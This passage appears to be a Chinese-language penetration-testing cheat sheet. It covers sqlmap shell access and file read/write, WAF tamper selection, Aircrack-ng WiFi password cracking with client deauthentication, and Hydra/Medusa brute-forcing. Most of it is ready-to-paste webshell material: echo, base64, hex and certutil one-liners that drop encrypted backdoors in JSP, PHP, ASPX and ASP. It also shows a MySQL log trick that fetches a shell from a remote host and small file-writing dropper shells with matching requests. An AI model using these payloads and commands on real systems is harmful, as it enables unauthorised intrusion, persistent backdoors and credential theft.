(1)网站必须是root权限

(2)攻击者需要知道网站的绝对路径

(3)GPC为off,php主动转义的功能关闭

都能上传了,直接传一个一句话不香吗?

sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell

读取与写入文件

首先找需要网站的物理路径,其次需要有可写或可读权限。

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径) –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell) –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径 #写示例:

sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”

#读示例

sqlmap -r “c:\request.txt” -p id –dbms mysql –file-read="e:\www\as\config.php"

#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)

Tamper使用

这里推一个工具,可以自动选择tamper

https://github.com/m4ll0k/Atlas

使用

先用sqlmap 跑一下注入点(需要输出使用的payload)

  1. Run SQLMap:
$ python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3

sqlmap

Price_ASC') AND 8716=4837 AND ('yajr'='yajr is blocked by WAF/IDS/IPS, now trying with Atlas:

拿到使用的payload,使用atlas.py来查找可用的tamper

$ python atlas.py --url 'http://site.com/index.php?id=Price_ASC' --payload="') AND 8716=4837 AND ('yajr'='yajr" --random-agent -v

atlas_succ

找到后,就可以直接使用(上面找到versionedkeywords)

$ python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3 --tamper=versionedkeywords

Aircrack-ng破解WIFI密码

参考https://blog.csdn.net/qq_36119192/article/details/84254622

破解无线wifi可以分为以下几步:

  • 查看网卡名字:iwconfig
  • 设置网卡为监听模式:airmon-ng start wlan0
  • 扫描附近的WIFI:airodump-ng wlan0mon
  • 选定一个路由器,并监听其流量:airodump-ng -w tplink -c 11 --bssid BC:46:99:3D:66:D6 wlan0mon
  • 选定连接的一个客户端,进行攻击:aireplay-ng -0 50 -a BC:46:99:3D:66:D6 -c A0:AF:BD:D8:E6:31 wlan0mon
  • 对抓取到的cap包进行暴力破解:aircrack-ng -w password.txt -b BC:46:99:3D:66:D6 tplink-01.cap

查看无线网卡名字:iwconfig 或者 ifconfig -a 都可以

img

开启网卡监听模式:airmon-ng start wlan0 。网卡开启了监听模式之后网卡的名字就变为 wlan0mon 了,以后的所有命令中的网卡名都是叫 wlan0mon

img

扫描附近的WIFI:airodump-ng wlan0mon ,会显示附近所有的WIFI信号。

  • BSSID代表路由器的 MAC 地址
  • PWR 代表信号的强度,数值越大代表信息越强
  • CH 代表信道
  • ENC代表用的加密的方式
  • AUTH 代表认证的方式
  • ESSID是WIFI的名字

我们需要选定一个准备破解的WIFI,我们选 tplink-5

img

监听该路由器的流量:

airodump-ng -w tplink -c 11 --bssid BC:46:99:3D:66:D6 wlan0mon   # -w 参数指定生成的文件名  -c 指定信道 --bssid指定路由器的MAC地址 

也可以监听整个信道的路由器流量:

airodump-ng -w tplink -c 11 wlan0mon   # -w 参数指定生成的文件名  -c 指定信道 

下面的 STATION 是连接该WIFI的客户端,下面这里只有一个客户端连接了该WIFI。如果有多个客户端连接的话,我们最好选择活跃点的客户端。

img

重新打开一个命令行窗口(之前的监听不要关闭),开始攻击!之前的窗口继续保留,用于观察是否抓包成功

aireplay-ng -0 50 -a BC:46:99:3D:66:D6 -c A0:AF:BD:D8:E6:31  wlan0mon  # 50是发包的数量 -a指定路由器的MAC地址  -c指定连接的客户端的MAC地址 

该命令会打断连接客户端和WIFI之间的连接,等到客户端重新连接WIFI的时候,就会抓取他们之间的握手认证包!

img

如果在监听窗口看到下面红色圈住的这些,就说明握手包抓取成功了(没抓到可以多试几次,直到抓包成功为止)

img

我们可以看到会生成四个文件,其中我们有用的文件是以 cap 后缀结尾的文件

img

对抓取到的cap包进行破解,这需要我们准备好破解的密码字典。所以,无论是任何破解,都需要一个强大的密码字典!

kali下自带有一份无线密码字典——> /usr/share/wordlists/rockyou.txt.gz ,我们将其解压

img

img

aircrack-ng  -w  /usr/share/wordlists/rockyou.txt  -b  BC:46:99:3D:66:D6 tplink-01.cap #-w指定 密码字典 -b指定路由器的MAC地址

可以看到,破解成功!该WIFI的密码为 www.123.com

img

从最后可以看出,要想破解出WIFI的密码,还是得需要一个很强大的字典!

爆破攻击

Hydra

参数:
-l 指定的用户名 -L 用户名字典
-p 指定密码 -P 密码字典
-s 指定端口 
-o 输出文件
-t 任务数默认16
-f 爆破成功一个就停止
-v 报错日志详细 -V 攻击日志
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 mysql
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 ssh -s 22 -t 4
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 mssql -vv
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 rdp -V
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 smb -vV
>hydra -L /root/user.txt -P pass.txt ftp://10.1.1.10

Medusa

参数:
-h 目标名或IP  -H 目标列表
-u 用户名 -U 用户名字典
-p 密码 -P 密码字典 -f 爆破成功停止 -M 指定服务 -t 线程
-n 指定端口 -e ns 尝试空密码和用户名密码相同
>medusa -h ip -u sa -P /pass.txt -t 5 -f -M mssql
>medusa -h ip -U /root/user.txt -P /pass.txt -t 5 -f -M mssql

getshell方法

利用JavaScript转写php

https://xz.aliyun.com/t/9181

为了避免拦截php代码的waf,我这里远程下载的脚本是利用JavaScript转写php

SET global general_log_file='C:/Users/Administrator/Desktop/UPUPW_AP5.5_64/htdocs/11.php';
SELECT '<script language="php"> $a="http://x.x.x.x:81/shell.txt";$b="file"."_g"."et_"."contents";$b = $b($a);file_put_contents("shell.php",$b); </script>'

访问11.php 就会生成shell.php 这里的shell也是用了哥斯拉的免杀shell

命令执行写shell

echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php

echo \<\?php eval\(\@\$_POST\[1\]\)\; \?\> >1.php

https://www.anquanke.com/post/id/245019

Windows

在windows主要的写入方法,我主要用以下两种:

set /p=要写的内容<nul > C:\11.txt
echo 要写的内容 > C:\11.txt

在windows中,批处理需要转义字符主要有 “&”,“|”,“<”,“>”等等,转义字符为”^”

下面以echo为例,写入冰蝎各脚本语言shell,其中需要转义的东西,我已经帮各位表哥转过了,拿来直接用即可:

(1)jsp

echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > 111.jsp

(2)jspx

echo ^<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"^>^<jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/^>^<jsp:declaration^> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}^</jsp:declaration^>^<jsp:scriptlet^>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);^</jsp:scriptlet^>^</jsp:root^> > 111.jspx

(3)php

echo ^<?php @error_reporting(0);session_start();$key="e45e329feb5d925b";$_SESSION['k']=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded('openssl'))^{$t="base64_"."decode";$post=$t($post."");for($i=0;$i^<strlen($post);$i++) ^{$post[$i] = $post[$i]^^$key[$i+1^&15]; ^}^}else^{$post=openssl_decrypt($post, "AES128", $key);^}$arr=explode('^|',$post);$func=$arr[0];$params=$arr[1];class C^{public function __invoke($p) ^{eval($p."");^}^}@call_user_func(new C(),$params);?^> > 111.php

(4)java9 jsp

echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b"; session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > 111.jsp

(5)aspx

echo ^<%@ Page Language="C#" %^>^<%@Import Namespace="System.Reflection"%^>^<%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%^> > 111.aspx

(6)asp

echo ^<% >> 111.asp&echo Response.CharSet = "UTF-8" >> 111.asp&echo k="e45e329feb5d925b" >> 111.asp&echo Session("k")=k >> 111.asp&echo size=Request.TotalBytes >> 111.asp&echo content=Request.BinaryRead(size) >> 111.asp&echo For i=1 To size >> 111.asp&echo result=result^&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1))) >> 111.asp&echo Next >> 111.asp&echo execute(result) >> 111.asp&echo %^> >> 111.asp

(1)certutil-Base64

echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9JT4= > 111.txt

certutil -f -decode 111.txt C:\\111.jsp

(2)certutil-Hex

echo 3c25407061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a22253e3c2521636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d253e3c2569662028726571756573742e6765744d6574686f6428292e657175616c732822504f53542229297b537472696e67206b3d2265343565333239666562356439323562223b73657373696f6e2e70757456616c7565282275222c6b293b43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563286b2e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b7d253e > 111.txt

certutil -decodehex 111.txt C:\\111.jsp

(b)Linux

在Linux中,需要转义字符主要是 单引号 或者双引号 对于单引号,我们将其替换为\47即可。

(1)jsp

echo '<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>' > 111.jsp

(2)jspx

echo '<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>' > 111.jspx

(3)php

echo -e '<?php @error_reporting(0);session_start();$key="e45e329feb5d925b";$_SESSION[\047k\047]=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded(\047openssl\047)){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15]; }}else{$post=openssl_decrypt($post, "AES128", $key);}$arr=explode(\047|\047,$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);?> ' > 111.php

(4)aspx

echo '<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>' > 111.aspx

(5)asp

echo -e '<%\nResponse.CharSet = "UTF-8" \nk="e45e329feb5d925b" \nSession("k")=k\nsize=Request.TotalBytes\ncontent=Request.BinaryRead(size)\nFor i=1 To size\nresult=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))\nNext\nexecute(result)\n%>' > 111.asp

Linux

和windows不同,linux在途中就已经转换完毕,落地文件已经成为shell。大部分玩家都是懒得转义shell中的字符,而使用下面的方法。主要也是分base64以及hex两种。

(1)jsp

echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9JT4= |base64 -d > 111.jsp

echo 3c25407061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a22253e3c2521636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d253e3c2569662028726571756573742e6765744d6574686f6428292e657175616c732822504f53542229297b537472696e67206b3d2265343565333239666562356439323562223b73657373696f6e2e70757456616c7565282275222c6b293b43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563286b2e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b7d253e|xxd -r -ps > 111.jsp

(2)jspx

echo PGpzcDpyb290IHhtbG5zOmpzcD0iaHR0cDovL2phdmEuc3VuLmNvbS9KU1AvUGFnZSIgdmVyc2lvbj0iMS4yIj48anNwOmRpcmVjdGl2ZS5wYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YXguY3J5cHRvLiosamF2YXguY3J5cHRvLnNwZWMuKiIvPjxqc3A6ZGVjbGFyYXRpb24+IGNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlcntVKENsYXNzTG9hZGVyIGMpe3N1cGVyKGMpO31wdWJsaWMgQ2xhc3MgZyhieXRlIFtdYil7cmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsMCxiLmxlbmd0aCk7fX08L2pzcDpkZWNsYXJhdGlvbj48anNwOnNjcmlwdGxldD5TdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYygoc2Vzc2lvbi5nZXRWYWx1ZSgidSIpKyIiKS5nZXRCeXRlcygpLCJBRVMiKSk7bmV3IFUodGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmcoYy5kb0ZpbmFsKG5ldyBzdW4ubWlzYy5CQVNFNjREZWNvZGVyKCkuZGVjb2RlQnVmZmVyKHJlcXVlc3QuZ2V0UmVhZGVyKCkucmVhZExpbmUoKSkpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7PC9qc3A6c2NyaXB0bGV0PjwvanNwOnJvb3Q+|base64 -d > 111.jsp

echo 3c6a73703a726f6f7420786d6c6e733a6a73703d22687474703a2f2f6a6176612e73756e2e636f6d2f4a53502f50616765222076657273696f6e3d22312e32223e3c6a73703a6469726563746976652e7061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a222f3e3c6a73703a6465636c61726174696f6e3e20636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d3c2f6a73703a6465636c61726174696f6e3e3c6a73703a7363726970746c65743e537472696e67206b3d2265343565333239666562356439323562223b73657373696f6e2e70757456616c7565282275222c6b293b43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563282873657373696f6e2e67657456616c756528227522292b2222292e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b3c2f6a73703a7363726970746c65743e3c2f6a73703a726f6f743e|xxd -r -ps > 111.jspx

(3)php

echo PD9waHAgQGVycm9yX3JlcG9ydGluZygwKTtzZXNzaW9uX3N0YXJ0KCk7JGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7JF9TRVNTSU9OWydrJ109JGtleTtzZXNzaW9uX3dyaXRlX2Nsb3NlKCk7JHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7aWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSl7JHQ9ImJhc2U2NF8iLiJkZWNvZGUiOyRwb3N0PSR0KCRwb3N0LiIiKTtmb3IoJGk9MDskaTxzdHJsZW4oJHBvc3QpOyRpKyspIHskcG9zdFskaV0gPSAkcG9zdFskaV1eJGtleVskaSsxJjE1XTsgfX1lbHNleyRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpO30kYXJyPWV4cGxvZGUoJ3wnLCRwb3N0KTskZnVuYz0kYXJyWzBdOyRwYXJhbXM9JGFyclsxXTtjbGFzcyBDe3B1YmxpYyBmdW5jdGlvbiBfX2ludm9rZSgkcCkge2V2YWwoJHAuIiIpO319QGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7Pz4K|base64 -d > 111.php

echo 3c3f70687020406572726f725f7265706f7274696e672830293b73657373696f6e5f737461727428293b246b65793d2265343565333239666562356439323562223b245f53455353494f4e5b276b275d3d246b65793b73657373696f6e5f77726974655f636c6f736528293b24706f73743d66696c655f6765745f636f6e74656e747328227068703a2f2f696e70757422293b69662821657874656e73696f6e5f6c6f6164656428276f70656e73736c2729297b24743d226261736536345f222e226465636f6465223b24706f73743d24742824706f73742e2222293b666f722824693d303b24693c7374726c656e2824706f7374293b24692b2b29207b24706f73745b24695d203d2024706f73745b24695d5e246b65795b24692b312631355d3b207d7d656c73657b24706f73743d6f70656e73736c5f646563727970742824706f73742c2022414553313238222c20246b6579293b7d246172723d6578706c6f646528277c272c24706f7374293b2466756e633d246172725b305d3b24706172616d733d246172725b315d3b636c61737320437b7075626c69632066756e6374696f6e205f5f696e766f6b6528247029207b6576616c2824702e2222293b7d7d4063616c6c5f757365725f66756e63286e6577204328292c24706172616d73293b3f3ea|xxd -r -ps > 111.php

(4)aspx

echo PCVAIFBhZ2UgTGFuZ3VhZ2U9IkMjIiAlPjwlQEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5SZWZsZWN0aW9uIiU+PCVTZXNzaW9uLkFkZCgiayIsImU0NWUzMjlmZWI1ZDkyNWIiKTtieXRlW10gayA9IEVuY29kaW5nLkRlZmF1bHQuR2V0Qnl0ZXMoU2Vzc2lvblswXSArICIiKSxjID0gUmVxdWVzdC5CaW5hcnlSZWFkKFJlcXVlc3QuQ29udGVudExlbmd0aCk7QXNzZW1ibHkuTG9hZChuZXcgU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5SaWpuZGFlbE1hbmFnZWQoKS5DcmVhdGVEZWNyeXB0b3IoaywgaykuVHJhbnNmb3JtRmluYWxCbG9jayhjLCAwLCBjLkxlbmd0aCkpLkNyZWF0ZUluc3RhbmNlKCJVIikuRXF1YWxzKHRoaXMpOyU+|base64 -d > 111.aspx

echo 3c25402050616765204c616e67756167653d2243232220253e3c2540496d706f7274204e616d6573706163653d2253797374656d2e5265666c656374696f6e22253e3c2553657373696f6e2e41646428226b222c226534356533323966656235643932356222293b627974655b5d206b203d20456e636f64696e672e44656661756c742e47657442797465732853657373696f6e5b305d202b202222292c63203d20526571756573742e42696e6172795265616428526571756573742e436f6e74656e744c656e677468293b417373656d626c792e4c6f6164286e65772053797374656d2e53656375726974792e43727970746f6772617068792e52696a6e6461656c4d616e6167656428292e437265617465446563727970746f72286b2c206b292e5472616e73666f726d46696e616c426c6f636b28632c20302c20632e4c656e67746829292e437265617465496e7374616e636528225522292e457175616c732874686973293b253e|xxd -r -ps > 111.aspx

(5)asp

echo PCUKUmVzcG9uc2UuQ2hhclNldCA9ICJVVEYtOCIgCms9ImU0NWUzMjlmZWI1ZDkyNWIiClNlc3Npb24oImsiKT1rCnNpemU9UmVxdWVzdC5Ub3RhbEJ5dGVzCmNvbnRlbnQ9UmVxdWVzdC5CaW5hcnlSZWFkKHNpemUpCkZvciBpPTEgVG8gc2l6ZQpyZXN1bHQ9cmVzdWx0JkNocihhc2NiKG1pZGIoY29udGVudCxpLDEpKSBYb3IgQXNjKE1pZChrLChpIGFuZCAxNSkrMSwxKSkpCk5leHQKZXhlY3V0ZShyZXN1bHQpCiU+|base64 -d > 111.asp

二次法

对于二次法,就是先传一个文件上传的小“shell”,然后通过指定方式进行上传其他文件。有一个好处就是,它本身不是木马病毒,就是一个写入文件的功能脚本,所以一般杀毒不会杀,这样我们就可以随意上传了。

(a)JSP

GET类型

(1)god.jsp内容 (先遣部队)

<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>

(2)写jsp shell

get类型写shell需要注意url编码。

http://ip/god.jsp?f=111.jsp&t=<%25@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%25><%25!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%25><%25if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%25>

(3)写jspx shell

http://ip/god.jsp?f=111.jspx&t=<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")%2B"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>

POST类型

<%@ page language=”java” pageEncoding=”gbk”%>

<jsp:directive.page import="java.io.File"/>

<jsp:directive.page import="java.io.OutputStream"/>

<jsp:directive.page import="java.io.FileOutputStream"/>
<% int i=0;String method=request.getParameter(“act”);if(method!=null&&method.equals(“yoco”)){String url=request.getParameter(“url”);String text=request.getParameter(“smart”);File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
error
<%}}if(i==0){%>
ok
<%}%>

<form action='?act=yoco' method='post'>

<input size="100" value="<%=application.getRealPath("/") %>" name="url"><br>

<textarea rows="20" cols="80" name="smart">

img

(b)PHP

GET类型

(1)god.php内容 (先遣部队)

<?php fwrite(fopen($_GET['filename'], "w"), $_GET['content']);?>

(2)写php shell

http://host/god.php?filename=111.php&content=<?php @error_reporting(0);session_start();$key="e45e329feb5d925b";$_SESSION['k']=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i%2B%2B) {$post[$i] = $post[$i]^$key[$i%2B1%2615]; }}else{$post=openssl_decrypt($post, "AES128", $key);}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);?>

POST类型

<form method="post" enctype="multipart/form-data">Filename:<br /><input type="text" name="filename"><br />Content:<br /><textarea rows="20" cols="80" name="content"><?php fwrite(fopen($_POST['filename'], "w"), $_POST['content']);?>

img

(c)ASPX

对于aspx来说,此功能可能比较鸡肋,因为aspx写文件需要一定权限。

GET类型

(1)god.aspx内容 (先遣部队)

<%@ Page Language="C#" %><% System.IO.File.WriteAllText(System.AppDomain.CurrentDomain.BaseDirectory+"\\"+Request.QueryString["filename"], Request.QueryString["content"]);%>

(2)写aspx shell

http://host/god.aspx?filename=god.aspx&content=<%@ Page Language="C%23" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b");byte[] k = Encoding.Default.GetBytes(Session[0] %2B ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>

鱼叉攻击

https://www.freebuf.com/articles/web/260391.html 邮件钓鱼入门到入土

https://www.chabug.org/tools/2017.html 邮件钓鱼学习

https://mp.weixin.qq.com/s?__biz=MjM5NzE1NjA0MQ%3D%3D&mid=2651202725&idx=1&sn=955fd4c6d80b320a57a3bc7b34fa24f8&scene=45 红蓝对抗之邮件钓鱼攻击

https://mp.weixin.qq.com/s/DIY-Q4GhCVRm0Cp4r3BPkw 红队技巧-网络钓鱼

权限维持

持久化和提权相关

提权检测脚本

unix-privesc-check:http://pentestmonkey.net/tools/audit/unix-privesc-check

linuxprivchecker: https://www.securitysift.com/download/linuxprivchecker.py

